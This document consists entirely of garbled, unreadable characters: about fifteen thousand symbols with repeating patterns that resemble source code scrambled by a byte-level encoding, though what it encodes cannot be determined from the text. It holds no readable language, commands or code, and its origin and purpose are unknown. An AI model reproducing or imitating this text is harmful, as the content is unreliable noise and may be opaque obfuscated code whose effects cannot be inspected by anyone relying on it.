TeeO	OG/V[^_G^Z^]FGK_ \VV FFOeOOOOOKWY]OOOOROGFOOO/]X_	G^YZ[FGK_ \VV FTe	OOOGKWY]OOOOOSROO_G^YZZFGFOOOOBOOOOOOGWY\X[D]YFOOOOOOOKWY]OOOOQOOO]X_	G^YZZFGFODOG][]DZWFFOeZ	VV0GK_ \VV FTeeO 
TeOOOeOO	OOG/_G^Z^]FGKX\VOAOOOO]X_	G^YZYFOOOAOOOKY^V
Y
OOOOOAOOOOOOWZ XG^YZ^FFFOO
TeOOOZ	VV0GK_ \VV FTeOOeeOO
GKX\VCOK_ \VV COKWY]FTeKXV
YVOROO.-<?.;'OOOAOV[^_G]V\FOAOOKYW^[Te	OOOOGK	ZZYONRROO.-<?.;'OOOOAOOO_G^YZ_FOIIO/V[^_G^YZXFGKXV
YVFOOOIIOOO
^^XWGKXV
YVFOONRRO	
FOOeYXYW][GKXV
YVCOOOGZYXB^[XFFTeeeOOO	OGZ	VV0GKXV
YVFOOOIIOOOO]X_	G^YZWFGV[^_G^Z\FFFOO/ 
0
GKXV
YVCO
FTeOOOeOOO
GKXV
YVFTe	OOOG/V[^_G^YZXFGK FOOIIOOOOGFOOOOOO/WZ XG^YZVFGK FOOQO_G^YZZFGFOOBOG]^_D\_FFOO
TeeO	OG/_G^YZXFGKV
WFOIIOOOOG_G^YZZFGFOOOOBOGFOO/	

GKV
WFFOSOOOGZW\B]W\FFOOO
TeOO	OOOOOOG/]X_	G^YZXFGKV
WFFOeeK		 OOOROOOO/V[^_G^YY_FGK	ZZYOOOOOOAOOOWZ XG^YY^FOOOAOOKY^V
Y
FOOPOOO_G^[VZFGGFO/]X_	G^Y\]FGK	ZZYOOOAOOOV[^_G^YY^FOAOOKY^V
Y
FFOUOOOMMTeOO	OOOGK		 ONRROMMOOOIIOOOOWZ XG^Y^\FGV[^_G^YY]FCOOOOOOK		 FOOIIOO
 0 
GK		 COOV	_00YGFCOOHQHFFOO
TeOO
GK		 FTeOOOOOeeee	OOG/WZ XG^YY_FGKV
WFFOOeOK_^X0YXOROOOOK	ZZYOOOAO_G^YY\FOOAOW
W\0]G.-<?.;'OOAOHHCOOOOG^Y\1^X^FFTeOK
^XOORO/V[^_G^YY[FGK_^X0YXFOOOPOOOGFOOOO/_G^YYZFGK_^X0YXFOUOMMTeKYX	YYV	OORO_TeOO	OOOOOGK
^XONRROMMFOOOeOOOOOKW
_]OOOOROO]X_	G^^^]FGHHCOOK
^XFTeOOKYX	YYV	OOROOOOGFOOOOOKW
_]4_2TeOeOOOOOOO	OOGKYX	YYV	OOOQOOOO_OOOIIOO]X_	G^YYYFGFOOOBOOOOKYX	YYV	OOOOOQOGW^_DV_FFOOOOZ[^YZZG_GX]ZFCOOOWZ XG^YYXFFTe

	OOOOOOGKYX	YYV	ORRROO_OOOOOIIOOOG]X_	G^YYYFGFOOOOBOGFO/	

GKV
WFFOOOQOOGWV[DYFFOOZ[^YZZGV[^_GX]ZFCOV[^_G^YYWFFTeOOOO
GK_^X0YXCOOOOK
^XCOOOOOKW
_]COKYX	YYV	FTeOOOOOOeOOOK 	X_OOOROV X[GFTeeO	OOOGNK 	X_OOWZ XG^Y[^FGK 	X_FOOOSOG_YD_^WXFFOOO
TeeeeOK^ ORO\Y]__	
WGFTeOKZ0_
 ^OOOOROOWZ XG^\[XFG []]^
 XGFCOOWZ XG^YZ^FFTeeeOK0]
\ORO\\^WVV_	GFOAO_G^YYVFTeOOOK0\0OOROOOOO/]X_	G^YX_FGK0]
\FePOOOOGK0]
\OOOOAOOOOOH@HOOOAOOKZ0_
 ^OOAOOV[^_G^YX^FFeeeeOUOOOOOG\\^WVV_	GFOOOAOOWZ XGZVFOOOAOOKZ0_
 ^OOOAOH@HOOOOOOAOOKZ0_
 ^OOOAOO]X_	G^YX]FFTeK0^[Z[^
OOROOWZ XG^YZWFGWZ XG^\W]FFOPOOOOWZ XG^\Y\FG 
0GFCO?'?0:=#0' <;FOOUOOOOG
GK0<*=9*=4]X_	GY]VF2FOPOOOOK0<*=9*=4WZ XGY]VF2OOOOUOMMFTeK0]_[OOOOOROOOG
	
GV[^_GY[_FFOIIO8?":0?#:(&!0+&=FOPO8?":0?#:(&!0+&=OOOUO\\^WVV_	GFOOOAO]X_	G^YYVFTeOKZ \[OOOROG
	
G_G^YX\FFOOIIO8?0?#:(&!0+&=FOOPO8?0?#:(&!0+&=OOOUOOOO\\^WVV_	GFOOOAO_GWZ[FTeKVY^OOOOORO
	
GWZ XG^Y]\FFOPO8?0, !;*!;0+&=OOOOUOOOO\\^WVV_	GFTeeeK
00]
X_YOORO\_X^0GeOV[^_G^YX[FCeeeeOOOOOGH00?.;'0-Y[00HCOOOH00?#:(&!0-.<*Y[00HCOOOH00+ ".&!00HCOH00'-0-Y[00HCOOOH00(?.;'0-Y[00HCOOOOH00.-<?.;'0-Y[00HCOOH00, !;*!;+&=0-Y[00HCOOOH00":+&=0-Y[00HCOOOOH00?#:(&!+&=0-Y[00HCOOOOH00<#:(00HCOH009*=<& !00HFCeOGV[^_G^YXZFGK0\0FCOOOOK^ COOK0^[Z[^
COO]X_	G^YXZFGK FCOO_G^YXZFGKV
WFCOWZ XG^YXZFG.-<?.;'FCOWZ XG^YXZFGKVY^FCOO]X_	G^YXYFGK0]_[FCOO]X_	G^YXYFGKZ \[FCO]X_	G^YXXFG []]^
 XGFCOOOOV[^_G^YX]FFCOOOOOV	_00YGFFeOOOOOOFTeOOOO	OGNK
00]
X_YFOeeeeO	OOOGGFOOO
0  G]X_	GWVZFCO_FOOOOQOOOO_FOOOZ[^YZZGWZ XG^YX[FCOV[^_G^YXWFFTeOOO
TeOOOeeeO	OOOOGN
[X
 Z]Y
GK
00]
X_YFFOOeeeeOOZ[^YZZG_G^YX[FCOWZ XG^YXVFFTe
TeOOeOOOOOOO	OG]ZVGKV
WCOK
00]
X_YFFOOeOO[ZX_\]VGKV
WCOO^X0\Z	]_GFFTeYXYW][GKV
WCOG[^YD[FFTeY
XGKV
WFTeOOO ^
XXGK	ZZYOOAOOOO]X_	G^YW_FOOOOAOOOOKY^V
Y
COO]X_	G^[[[FGK
00]
X_YFCOO_G^YX[FFTeOOO ^
XXGK	ZZYOAOO]X_	G^YY^FOOOAOKY^V
Y
COOOV	_00YGFCOWZ XG^YX[FFTeO/
0 
OOKV
WTeeOO
0
GWZ XG^Y[VFCOOOO^COG^VWD^_]FFTeeeee
GK0]_[COOOOKZ \[COKVY^FTeOOOOOOOOG; 
OOOK]WFOOeOZ[^YZZG_G^YX[FCOOOOOK]WFTeOOOOOG*
 OK]WFOOOeOOOOeOOOOOeOOOOOOO	 O ^Y\^X_WGK_X^_ FeeeOOOeO	OOOGNV[^_G^Y]_FGK_X^_ FFO
O	
TeeeK
Z^VWORO_G^Y[^FGK_X^_ FTe	OOOOOOGK
Z^VWOQOOOG^_[WZZ_D]YFFOOOOOO
O
TeeeeO	OOOOGK
Z^VWOSOOOOG[[_DY_FFOOOO
O	
TeOOOK	VOOOROWZ XG^Y^YFGK_X^_ CO_COGYZ[ZXDXVFFTeK\VXX
0OROOO]X_	G^YW^FGK	VCOHOHFODOV[^_G^YW^FGK	VCOOM3MFTeee
OOOOOGK\VXX
0O@O_G^YW]FGK	VFFOOQO_AZZTeOOOOOOeO	 OOOOOV X[GKX^ZV^OOOROO	
FeeOOOOK 	X_OOOOOROOTeeeeOOOOOO	OOOOGKX^ZV^FOOOeK 	X_OOOOROOOOOTeeO	OOGK 	X_OOOOOONRROOOOOFO
OOK 	X_TeOOK_X^_ ORO	
TeKV
 [_W
 	OOROOOO/WZ XG^^[ZFG []]^
 XGFFTeOOOOOO	OOGKV
 [_W
 	OIIOOOKV
 [_W
 	OOOOQOOOOG[YVD\^FOOOOOIIOOOOKV
 [_W
 	OSROOGZ][]WX[\DZXFFOOK_X^_ OOOORO/_G^YYZFG []]^
 XGFFTeOOO	OOOOG]X_	G^Y]_FGK_X^_ FOOOOIIO_G^YW]FGK_X^_ FOOQOG^Y\\ZY_BZW[VW[FFOOOOK_X^_ OOOOROXX[WZGK_X^_ FTeOOOOOO	OOOOOG_G^YW\FGK_X^_ FOOOIIO]X_	G^YW]FGK_X^_ FOOOOOQOGZ[\B[\FOOOIIOOO]X_	G^YW]FGK_X^_ FOOSROG^_[W[WYDV_FOIIOOOOON ^Y\^X_WGK_X^_ FOOIIOOOO
[X
 Z]Y
GK_X^_ FFOOOOeOOOOOK 	X_OOROOOOOOK_X^_ Te
OK 	X_TeOeeeeOOOOK]VYW[^VOROOO
V[[
0[G]X_	G^YW[FCOMMFTeeeeOOOOO	OOGV[^_G^YW\FGK]VYW[^VFOIIO_G^YW]FGK]VYW[^VFOQOOOGWVVB\VVFOOOOIIOOOO]X_	G^YW]FGK]VYW[^VFOOOSROOG^_[W[VWDXWFOIION ^Y\^X_WGK]VYW[^VFOOOOIIOO
[X
 Z]Y
GK]VYW[^VFFOOeOK 	X_OROOOOK]VYW[^VTeeeO
OOOOOK 	X_TeOeOOOOOK 	X_OOOOROO	
Te
OOOOOK 	X_TeOeO	 O\Y]__	
WGKX^ZV^OOOOROOOOO	
FeOOeeeOOOOOOK ZW^VW[ZOOOROOOTeeeO	OOOOGKX^ZV^FOOOeeeK ZW^VW[ZOOOROOTeOOOeeee	OOOGK ZW^VW[ZOONRROOOOFOO
OOK ZW^VW[ZTeOOOOK_X^_ OOOROOV X[GFTeOO	OOOOGN]X_	G^YW\FGK_X^_ FOOOOOO]X_	G^YW]FGK_X^_ FOOOSOG\][D^XYFOOOWZ XG^YWZFGK_X^_ FOOQOOOOG^_[WZ^XDZVFOOOOO ^Y\^X_WGK_X^_ FOON
[X
 Z]Y
GK_X^_ FFOeeeK ZW^VW[ZOOOROOOOO	
TeOO
OK ZW^VW[ZTeOeOK ZW^VW[ZOROOOO_G^YXYFG_]
 [GK_X^_ FFTeOOO
OK ZW^VW[ZTeeeeOOOe	 OOV[[0
GKZV^
FeOOOOeOO	OGN_G^YW\FGKZV^
FOOOO_G^YWZFGKZV^
FOOOSOOOG^_DWFOO]X_	G^Y^YFGKZV^
COOOO_COOOO]FOONRROOOM3^	3WMFOOO
O_TeOKV0W 
OOOOOROO/WZ XG^YWYFGH9HCO_G^Y^YFGKZV^
COOBG^[Y1^Z_FFFTeOKV0W 
OORO_G^YWXFGKV0W 
FOOPOKV0W 
4^2OOOOUOOO_Teee	OOGKV0W 
OSOOOG[\\DYXFOOOKV0W 
OOOOQOGZWVV\[D[ZWY[]FFO
OKV0W 
Te
OOO_TeOOOeeeeOOO	 OOV
VWY	XGK]_
YYYFeOOOOeOOOOO
OO_G^YWWFG

GK]_
YYY4^2FFTeOeOOOOOOO	 O  	
_0VGK
0_\0[FeOOOOOOeOOOOO	OOGNWZ XG^YW\FGK
0_\0[FOOOOK
0_\0[OOORRROOOMMFOOO
OOOOK
0_\0[TeOOOOOOK0_0OROOOOOTeO	OOGK0_0ORRROOOFOeOOK0_0OORO	
TeeeOO	OOOGV[^_G^YWVFGV[^_G^YV_FFFOOeK0OOROO
	
G]X_	G^YV^FFOPOOOO8?0, !;*!;0+&=OOUOOG
	
GWZ XG^YV]FFOOOOOPO.-<?.;'OUOOMMFTeeeO	OGK0ONRROOOMMFOeOOOOOKZXYZOROO/0	

0
GK0FTe	OOOGKZXYZOOOOONRROO	
OOOOIIOOOKZXYZOQROG^ZX]WY\_YDV[FFOK0_0OOOOOROOOO
TeeeOeOOeeeOOOOO	OGNK0_0FOOeO	OOOOGV[^_G^YV\FG]X_	G^_WZFFFOO/
0  GV[^_G^YV[FCOOOOOWZ XG^YYYFGFCOOO_G^ZW\FFTeOOOOO

	OOOOGV[^_G^YVZFGWZ XG^Z]WFFFOOeK
XWOOROGFO
0  GV[^_G^YV[FCOOOOOO_FTe	OOOOOGK
XWOIIOO]X_	G^YVYFGFOOOOBOOOK
XWOOSOGWY\_]DVWFFOK0_0OOOOOROOO	
TeeOOOOeOOOOe	OOGNK0_0FOOOOeOO
OK
0_\0[TeeOOOOOK[V0
YVOOOOROOGX]\ZZDZ[]XY[ZFODO_G^^\ZFG_COOG]_Y_\[WBZY_\[WFFTe	OOOOG_G^YVXFGK
0_\0[FOOOOQROOOK[V0
YVFOOO
OOK
0_\0[TeOOOO	OOOOG_G^YVWFGWZ XG^YVVFGK
0_\0[FCOOB]FOORRROOV[^_G^X__FFOOOOOO
OK
0_\0[TeOOO
OOG]X_	G^YVXFGK
0_\0[FOSOK[V0
YVOBOOG[_\\DYXFFOOeKYY[][OOROMMTe	OOOG]X_	G^YVZFG_G^X_^FFFOOOOeOOOeeOOKYY[][OORO/WZ XG^X_]FG 0
GG^VV^DVFFFTeOOOOOOOOOOOOOOG; 
OOOK]WFOOOeOOKYY[][OOOROOOOMMTeeOOOOOOOOOG*
 OK]WFOOOOOOeOKYY[][OROMMTeOeOOeeOOOOOO	OOGV[^_G^YVXFGKYY[][FOOSOG^WW_D]^]_FFOOeOOOKYY[][OOOOROOV[^_G^X_\FGGMMCOOO
FFTeeeOOOO
OG_G^YVXFGKYY[][FOOOSOOOGX_[_B\_[_FFOOOOOKYY[][OOOAROOOV[^_G^X_\FGKYY[][FTeOOOOOOOOeOOK
0_\0[OOOAROOM3@EMOOOOAOKYY[][OOAO]X_	G^X_[FTeOeO
OOK
0_\0[TeeeeOOOOOe	 OOOOOXX[WZGK
0_\0[FeOOOOOOeO	OGNV[^_G^X_ZFGK
0_\0[FOOO]X_	G^X_YFGK
0_\0[FOOOOSROOG^_[W[VVDXXFFO
OOOK
0_\0[TeOOOOOK]	_YOOOOOROV[^_G^ZX\FG]X_	G^X_XFCOOMMCOOK
0_\0[FTe
O]X_	G^X_ZFGK]	_YFOOOOOPOOOOOK]	_YOOOOOUOOOK
0_\0[TeeeeOOOOOO	 OOY
XGK
]0V	W[FeeeeOeeeOOO	OOGNV[^_G^YVZFGV[^_G^X_WFFOOOOOON_G^YVZFG]X_	G^_WZFFFO
TeOO	OOGNWZ XG^X_VFGK
]0V	W[FOOOOK
]0V	W[OORRROMMOON/V[^_G^X^_FGK
]0V	W[FFOOOO
TeOO	OOOGN
GK(# -.#<4V[^_G^X^^F2FOOOOONWZ XG^YWXFGK(# -.#<4]X_	G^X^]F2FFOeOOOOK(# -.#<4V[^_G^X^]F2OOORO
0  GV[^_G^X^\FCOOGFFTeO	OOOOGNWZ XG^YWXFGK(# -.#<4V[^_G^X^[F2FFOOOK(# -.#<4V[^_G^X^ZF2OROOGFTeOOOOOeOOK]_
YYYOOOROOOK(# -.#<4WZ XG^X^ZF2TeeeeOOK
0_\0[OOOORO/_G^X^YFGK
]0V	W[FTeOOOOOOO	OOOOOGN_G^X_VFGK
0_\0[FFO
Te	OOG_G^X_YFGK
0_\0[FOOQOOG_	Y

D_V^^[FFOOOK
0_\0[OOROOXX[WZGK
0_\0[FTeeeOOK]_
YYY4V[^_G^X_\FGK
]0V	W[F2OROOOGHHOOORQOK
]0V	W[COHHORQOOOOOV[^_G^X_\FGK
0_\0[FCOOOHHOOOOOORQOOOOOOV	_00YGFCOHHOOOOOORQOOOOOWZ XG^X^XFGFFTeee	OOOGWZ XG^X^WFGK]_
YYYFOOOQOOOOOG_XXD_Z^FFOeeeO	 
OOOOOGK]_
YYYOOOOOOK
V]OOOOORQOK]0X	_FOeOOO	OOGNWZ XG^YWXFGK]0X	_FOOON
GK]0X	_4HH2FOOGFOK]0X	_4HH2OOSOOOOO]X_	G^X^XFGFOBOGZ__YYV_B][^[YV_FFOOOO
GK]_
YYY4K
V]2FTeOeeee
OOOOOG]X_	G^X^VFGK]_
YYYFOOQOOOOOOGZ_D^Z_FFOeOOOK
X[^Z OROOTeOOKZZ^]OROTeOOO	 
OGK]_
YYYOOOOK
V]OOORQOOOOOK]0X	_FOOOOOeOKY V\VXOROOOWZ XG^YWXFGK]0X	_FOOOIIOOO
GK]0X	_4HH2FOOPOOOGFOK]0X	_4HH2OOUO_TeOOOO	OGKZZ^]ORRROOOOOOOOOKY V\VXOOSOOOOKZZ^]FOOOOeOOOKZZ^]OOOROOOKY V\VXTeOK
X[^Z OOOOOOROOK
V]TeeeOOOOOOeOOOO	OOGK
X[^Z ORRROOOFOOO
TeO
GK]_
YYY4K
X[^Z 2FTeOOOOOOOeeOOO
0  G_G^X^\FCOOK]_
YYYCOOOV[^_G^ZW\FFTeOK(# -.#<4V[^_G^X^ZF2OROOOOOK]_
YYYTeOOeOOOOOOO	 OOO
^^XWGK
]0V	W[FeOOOOOOOOeOOOOOOO	OGN_G^X]_FGK
]0V	W[FOOOOOOOOOK
]0V	W[ORRROMMFO
O	
TeeOOO	OOOOOGN
GK(# -.#<4]X_	G^X]^F2FOOOOON_G^YWXFGK(# -.#<4_G^X]]F2FFOOOOOOeK(# -.#<4_G^X]]F2OOOOROOO]X_	G^YVZFG_G^X_WFFOOOOPOOO
0  GV[^_G^X^\FCOOGFFOOOUOGFTeeeOO	OGNWZ XG^YWXFGK(# -.#<4]X_	G^X]]F2FFOOOK(# -.#<4]X_	G^X]]F2OROOOOOGFTeeOOeOK]_
YYYOOOOROK(# -.#<4_G^X]\F2TeeOKV]OROO_G^X_\FGK
]0V	W[FTeOOO	OG
GK]_
YYY4KV]2FOOIIOOOOOV[^_G^YWXFGK]_
YYY4KV]2FOOIIO
GK]_
YYY4KV]24HH2FFOOeeeO	OOGGFOOOOO/WZ XG^X][FGK
]0V	W[FOQOOGZ][]WXWXD^\FFOO
O_G^X]ZFTeeeOOK
0_\0[OOORO/]X_	G^X]YFGK
]0V	W[FTeO	OOGV[^_G^X]_FGK
0_\0[FFOOeO	OGV[^_G^X]XFGK
0_\0[FOOOOOOQOOG^_[W[WYDV_FFOOOOK
0_\0[OOOOROOXX[WZGK
0_\0[FTeO
OOOOGV[^_G^X_\FGK
0_\0[FOOORRROOK]_
YYY4KV]24HH2FOOOPOOO
OOOOUOOOV[^_G^X]ZFTeOOeOOOOO
O	
TeOOOOOOeK_]Z]OROO/V[^_G^X]YFGK
]0V	W[COOOOO	
COOCO_COOOOOG_[XYD_WFFTe	OOGeeeeOOOOOO]X_	G^X]_FGK_]Z]FOOIIOOWZ XG^Y^\FG_G]^XFCOOOOK_]Z]FeOIIOOOOYZX_
WYGK
]0V	W[COOG[\\DYXFFeOFOeOOOOOO	OOGGFOOO/V[^_G^X]WFGK
]0V	W[FOQOOOOGZ][]WX\YDY[FFOOOO
O	
TeK
0_\0[OOROOOOOOGFOO/]X_	G^X]YFGK
]0V	W[FTeee	OOOOOG]X_	G^X]XFGK
0_\0[FOOOQOOOOG^_[WZ^]DY[FFOOOK
0_\0[OROOXX[WZGK
0_\0[FTeOOOO	OOG
[X
 Z]Y
GK
0_\0[FFOOO
OOOOO_G^X]VFTeOOOOOOeOOOO
OO	
TeeeOOOOO	 OOX\\]]GFeeeeOOK]_
YYYOOROOOTeO	OGK]_
YYYOOONRROOFOOOOO
OOK]_
YYYTeOOK
0_\0[OOROOOGFOOO/_G^X\_FG []]^
 XGFFTeeOOOOO	OG_G^X\^FGK
0_\0[FOOQOOOG^_[W[WVDWXFFOOK
0_\0[OOOOOROXX[WZGK
0_\0[FTeOK]_
YYYOROOOV[^_G^X_\FGK
0_\0[FTeO
OOK]_
YYYTeeeOOOOeeeeO	 OOOZ^Z_
\GFeOOOOOOeee
OOOV[^_G^YVWFGX\\]]GFCO_COOG^_D]FFTeOOeOO	 OOX^ YZYZ
GFeOeeeeO
OX[W	[X][		GFOAOO]X_	G^X\]FOAOOW
W\0]G.-<?.;'OOAOOV[^_G^X\\FCOOOG^DXFFOOOAOOOOO]X_	G^X\[FTeOOOOOOOOeeOO	 O		Z	_Y]GFeeK]\YVXZVOOROOGFTeeeOOOOOOO	OOOG]X_	G^YVZFG]X_	G^X\ZFFFOOOeeeeOOOOOK[Y0[OROOO/
0  G_G^X\YFCOOOGFFTeeOOOO	OOOG_G^YWXFGK[Y0[FFOOK]\YVXZVOOOROOOK[Y0[TeeOK
0_\0[OOORO/_G^X^_FGX^ YZYZ
GFFOOOOPOOOO/_G^X\_FGX^ YZYZ
GFFOOUOOMMTeOOO	OOOOGWZ XG^X\XFGK
0_\0[FOOIIOOO]X_	G^Y\VFGK
0_\0[COOOOO]X_	GV\[FFOOORRRO_FOeK VV XOROOOOOO_GYW[FG_G^YVWFGK
0_\0[COG[D^FFCO
FTe	OOOGWZ XG^X\WFGK VV XFOIIOOG
GK]\YVXZV4]X_	G^X\VF2FOOOGN
GK VV X4V[^_G^X\VF2FOOIIOK VV X4_G^X[_F2OQROOOOOOK]\YVXZV4]X_	G^X[_F2FFFOOOK]\YVXZVOOOROOOK VV XTeeeeeeeeOO
OK]\YVXZVTeOOOOOOeOO	 OWZ
YGKZ
 WFeOOOOOeOOOOOeeeeOOO	OGN
	
G_G^YV]FFFOO
TeK	 X^  OROO]X_	G^X^XFGFTeOOO	OGKZ
 WOORRROOO]X_	G]]ZFOOOKZ
 WOOOORRROOOO]X_	G^X[^FFOOeOOOOOK
OROO		Z	_Y]GFTeOOOOO	OGe
GK
4_G^X[]F2COOOOK
4V[^_G^X[\F2FOIIOOOOOK
4_G^X[]F2OORRROOOOKZ
 WeOIIOOK	 X^  OOBOOOOOOGFOK
4]X_	G^X[\F2OOSOGKZ
 WORRROOOWZ XG^X[^FOOPOOOOG__D_XFOOOUOOG^YBYFFeOOOOOOOFO
TeOOOOOOOeOOK]\YVXZVOOOOOROGeeOHHORQOOOV	_00YGFCeO_G^X[[FOORQOZ^Z_
\GFCeOOO_G^X[ZFOORQOOOO []]^
 XGFCeeeeOOV[^_G^\YWFOOOORQOO]X_	G^X[YFG []]^
 XGFCOV[^_G^X\[FFCeeOWZ XG^X[]FORQOOOKZ
 WCeV[^_G^X[XFOORQOOOK	 X^  CeOO_G^X[\FOORQOOOK	 X^  CeOV[^_G^X[_FOORQO
GK0<*=9*=4WZ XG^X[WF2FOOOOOPOGFOOOK0<*=9*=4WZ XG^X[WF2OUOOK	 X^  CeOOOOOOFTeOO	OG_G^X[VFGV[^_G^XZ_FFFO/
0  GWZ XG^X\YFCOOOOOOK]\YVXZVCOOOWZ XG^ZW\FFTeOOOK_Z00[OOOROOOOOOX[W	[X][		GFTeO	OG/V[^_G^XZ^FGK_Z00[FOOO^GK_Z00[COG[^YDXXFCOOOOO
FFOOOeO/]X_	GVVYFGX^ YZYZ
GFCOOWZ XG^XZ]FOOOAOOWZ XG^XZ\FGK]\YVXZVFFTeOeOOOOG; 
OK]WFOOeOOOOOOOOOOG*
 OOOOK]WFOOOOOeeeeOOOe	 O]Z\0
Y^GK]\YVXZVFeOOOeOOO	OGNV[^_G^X\WFGK]\YVXZVFOOOO
GK]\YVXZV4WZ XG^X[ZF2FOOOONV[^_G^X\XFGK]\YVXZV4_G^X[ZF2FFOOOOO
OO_G]]]FTeOOK[	0XYOOROK]\YVXZV4V[^_G^X[ZF2TeOOOO	OOGN/]X_	G^X^_FGK[	0XYFOOOGFOOO/V[^_G^X]WFGK[	0XYFOOOOSOOOGVXVB[XVFFOOOOO
OOOOO]X_	G]]]FTeeeeOO	OOOOOOG	[ W
]V YGK[	0XYFFO
O_G]]^FTeOK0^
_[OOOROOO
GK]\YVXZV4]X_	G^X[]F2FOPOOOOOOK]\YVXZV4WZ XG^X[]F2OOUOOOMMTeK [X[OOOOROO
GK]\YVXZV4_G^X[\F2FOOOOPOOGFOK]\YVXZV4V[^_G^XZ[F2OUOOO_TeO	OOOGK0^
_[OOORRROOOWZ XG^X[^FFOOOOO
OOOOOGK [X[OOQO_OOOIIOV[^_G^X^XFGFOBOOK [X[OOOOOOSROOG\Z\WDY]FFOPOV[^_G^X[^FOOUO]X_	G^XZZFTeOOO	OOOOOGK0^
_[OORRROOOOV[^_G^WYFFOOOO
O]X_	G^XZYFTeOO	OOGK0^
_[ORRROOOWZ XG]]ZFFOOO
OOOGK [X[OOOQO_OOIIOV[^_G^X^XFGFOOOOBOOOOOK [X[OOSROG_X^D_XFFOPOOO_G^XZZFOOUOWZ XG^XZXFTeeeeOO
OOOOO_G^XZZFTeOeOOOO	 OVX[X\YXXGK
]0V	W[FeOOOOeOOOOO	OOGN/WZ XG^X^_FGK
]0V	W[FFOOO
OO	
TeOOKZ	0OOOOOROGFOOOOOO/_G^X]WFGK
]0V	W[FTee	OOGKZ	0OOSOOOOGZ^\B^\FOOOKZ	0OOOOOQOOGWW[\_[YWB\Y__^YYWFFO
OOO	
TeeeeK_]Z]OOOOOROOOO/_G^X\_FGK
]0V	W[COOO	
COCOOOO_COG_	D_]\FFTeOOOO	OOGN]X_	G^XZWFGK_]Z]FOOON]X_	G^Y^\FGV[^_G]^XFCOOK_]Z]FFOOOOOO
OOO	
TeOOOOO	OOOGKZ	0OOQOOG_W_
D_X	^[\FFOOOeOOOK[V0
YVOROOOOOO/]X_	G^X\_FGK
]0V	W[CO	
COCOOKZ	0OOOOBOOG[_[WD[WFFTeOO
OO_G^XZWFGK[V0
YVFOOOOIIO]X_	G^Y^\FG_G^XZVFCOOK[V0
YVFOORRROO^TeeOK
0_\0[OROOOOOO/_G^XY_FGK
]0V	W[FTeeO	OOGN_G^XZWFGK
0_\0[FFOO
O	
TeO
O
[X
 Z]Y
GK
0_\0[FTeOOe	 OOOOO	[ W
]V YGK
]0V	W[FeOeOOKZ0_
 ^OOOROOO]X_	G^XY^FGK
]0V	W[COOO]X_	G^X\[FFTeOOO	 
OOGGV[^_G^\]^FGK
]0V	W[FCOO[\
W^^WGFFOOOOOK0VV0FOOOOOOeOOOOKXX_X\VOOROK0VV0OOOAOO]X_	G^_\]FOOAOOOKZ0_
 ^TeOOOOO	OOOGN/_G^X^_FGKXX_X\VFOOOOOGFOO/WZ XG^XY]FGKXX_X\VFOOOSOOWZ XG^X^XFGFOOBOG[^_]XXD^V[Z]\FFOO 
TeOOOK0V	]YOOOOOROOOV[^_G^[VZFGGFOO/V[^_G^XY\FGKXX_X\VFFTeOOO	OOOOOOGK0V	]YOOOORRROMMFOO 
TeOOOOOOK
0_\0[OOOROGFO/_G^XY[FGK
]0V	W[FTeO	OG]X_	G^X\^FGK
0_\0[FOQOOG^X^]^^VBYY\Z[\FFOK
0_\0[OOROOOOXX[WZGK
0_\0[FTeeee	OOOOGK
0_\0[OONRROOMMOOIIOOOOV[^_G^X_\FGK
0_\0[FOOOOORRROK0V	]YFOO
O
TeOeeeeO
OO	
TeOOOOeOOOOO	 OOO[V\GK
]0V	W[FeeOOOOOO	OGNWZ XG^XYZFG]X_	G^X\ZFFOOOOON_G^XYZFG_G^XZ_FFFO
TeOK[\YOOOOROOO/
0  GV[^_G^XYYFCOOOGFFTeOOOO	OOOOOOGN]X_	G^X\WFGK[\YFFOOK[\YOOROOOGFTeOK[\Y4WZ XG^XYXFGK
]0V	W[F2OOROOOK
]0V	W[Teee	OOGWZ XG^X^VFGK[\YFOOQOOOG\D^XFFOOOOK[\YOROOV[^_G[_^FGK[\YCOOOBG^_D^_FCOOCO
FTeOO/
0  GWZ XG^XYWFCOOK[\YCOOOOO_G^XYVFFTeeeOeO	 OOOOO[[WGFeeeeOOeOO	OOGNV[^_G^XYZFGWZ XG^X\ZFFOOON_G^XYZFGV[^_G^XZ_FFFOO
TeOOOOOK[\YOOORO/
0  G_G^XX_FCOOOGFFTeO	OOOGN]X_	G^XX^FGK[\YFOOOOOO
GK[\YFFO
TeKZZZ[]OOOROGFTe	 
OOGK[\YOOOOK
V]ORQOOK[	0XYFOeOOOOOO	OGNV[^_G^XZWFGK[	0XYFOOOOOK[	0XYORRROMMOOOOOOON/V[^_G^XX]FGK[	0XYFFOOOOO 
Te	OG
^^XWGK[	0XYFOOOORRRO	
FOOOOKZZZ[]4K
V]2OROK[	0XYTO 
TOOOeOOYXYW][GK[	0XYCOOOOG\WYD\[FFTeOO	OGZ	VV0GK[	0XYFFOOOOee	OG]X_	G^XX\FG]X_	G^Z\FFFO/ 
0
GK[	0XYCOOOO
FTeeOOOOO

	OOOG/_G^XX]FGK[	0XYFFOeeOOOOKZZZ[]4K
V]2OROK[	0XYTeeeOeOO/
0  G_G^XX_FCOKZZZ[]COOOOO_G^XYVFFTeOOOOOe	 OOW0_0Z[ZGFeOOOeOOOOeeeOOOK]WOOOOROV[^_G^XX\FGWZ XG^ZZFFOOOOPO/
 0
0GFOOOUOOOTeeeeO	OGeWZ XG^XX^FGK]WFOOOIION
GK]W4WZ XG^YZF2FOOOOIIOOOON
GK]W4WZ XG^XX[F2FeeeeIIOOO]X_	G^]ZZFGK]W4_G^XX[F2COOG*0*== =COOO*0?.=<*COOO*0, =*0*== =COOOOO*0, "?&#*0*== =COOO*0:<*=0*== =FCO
FeOOOOFOeOKYZ0OOOOROOO/WZ XGW\]FG []]^
 XGFFTeeeeK0
	OOOORO/WZ XG^XXZFGK]W4V[^_G^XXYF2FTe	OG_G^XXXFGKYZ0FOOIIOV[^_G^XXXFGK0
	FOOIIOOK0
	ORRROKYZ0FOO
TeOOOeWZ
YG_G^X[^FFTeeeeOOOOO	OOOG
	
GV[^_G^YV]FFFOeOOOK	 [OOOOOORO
[[]Y
^Z
0WWXWGFTeeeO	OOOG/WZ XG^XX]FGK	 [4^2FFOOeOK0	W] OROOO/]X_	G^XXWFGK	 [4^2COOO	
COOCOOO_COOG_]WD_^WFFTe	OOOGWZ XG^XXVFGK0	W] FOIIOV[^_G^XW_FGK0	W] COO_G^ZWXFOOAOOV	_00YGFOAOOOHUHFORRRO_FOeOK
^YOOROO/_G^XX]FGK	 [4^2OOAOOOV[^_G^XW^FFOOOPOOO/V[^_G^XXWFGK	 [4^2OOAO]X_	G^XW^FCOO	
COCO_COOG_\D_[FFOOUOOOOMMTe	OGK
